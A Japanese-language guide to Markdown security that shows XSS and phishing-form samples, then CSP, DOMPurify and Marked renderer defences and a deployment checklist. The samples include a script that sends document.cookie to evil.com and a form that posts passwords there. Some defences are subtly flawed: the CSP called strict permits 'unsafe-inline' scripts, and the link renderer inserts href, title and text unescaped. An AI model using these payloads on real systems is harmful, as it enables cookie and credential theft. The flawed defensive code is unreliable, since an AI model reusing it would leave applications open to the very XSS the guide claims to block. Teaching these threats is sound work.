Markdown セキュリティベストプラクティス
Markdown はプレーンテキストのように見えますが、不適切な処理は深刻なセキュリティ脆弱性につながる可能性があります。このガイドでは、Markdown コンテンツを安全に処理する方法を説明します。
一般的なセキュリティ脅威
1. XSS (クロスサイトスクリプティング攻撃)
Markdown は HTML の埋め込みを許可しているため、悪意のあるスクリプトを注入するために悪用される可能性があります:
markdown
<!-- 危険:サニタイズされていない HTML -->
<script>
// Cookie を盗む
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">クリックしてください</a>2. HTML インジェクション
JavaScript がなくても、悪意のある HTML は害を及ぼす可能性があります:
markdown
<!-- フィッシング攻撃 -->
<form action="https://evil.com/phish" method="POST">
<input type="password" name="password" placeholder="パスワードを入力">
<button>ログイン</button>
</form>防御戦略
1. コンテンツセキュリティポリシー (CSP)
厳格な CSP ヘッダーを実装:
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">2. HTML サニタイゼーション
専用のサニタイゼーションライブラリを使用:
DOMPurify(ブラウザ側)
javascript
import DOMPurify from 'dompurify';
import marked from 'marked';
// パースとサニタイズ
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
FORBID_ATTR: ['onerror', 'onclick', 'onload']
});
document.getElementById('output').innerHTML = clean;3. 安全な Markdown パーサーの設定
Marked 安全設定
javascript
const marked = require('marked');
const renderer = {
html(html) {
// HTML を完全にブロック
return '';
},
link(href, title, text) {
// 安全なプロトコルのみ許可
const safeProtocols = ['http:', 'https:', 'mailto:'];
try {
const url = new URL(href);
if (!safeProtocols.includes(url.protocol)) {
return text;
}
} catch {
return text;
}
return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
}
};
marked.use({ renderer });セキュリティチェックリスト
デプロイ前のチェック
- [ ] コンテンツセキュリティポリシー (CSP) を有効化
- [ ] HTML サニタイゼーション(DOMPurify/sanitize-html)を実装
- [ ] 生の HTML を無効化または制限
- [ ] すべての URL とリンクを検証
- [ ] レート制限を実装
- [ ] CSRF 保護を追加
- [ ] ファイルアップロードを検証
- [ ] 認証と認可を実装
- [ ] コンテンツ長の制限を設定
- [ ] HTTPS を有効化
- [ ] 安全な HTTP ヘッダーを設定
- [ ] ロギングと監視を実装
- [ ] 定期的なセキュリティ監査
- [ ] 依存関係を最新に保つ
結論
Markdown セキュリティは軽視できません。適切なサニタイゼーション、検証、認証、監視措置を実装することで、ユーザー生成の Markdown コンテンツを安全に処理し、アプリケーションとユーザーを攻撃から保護できます。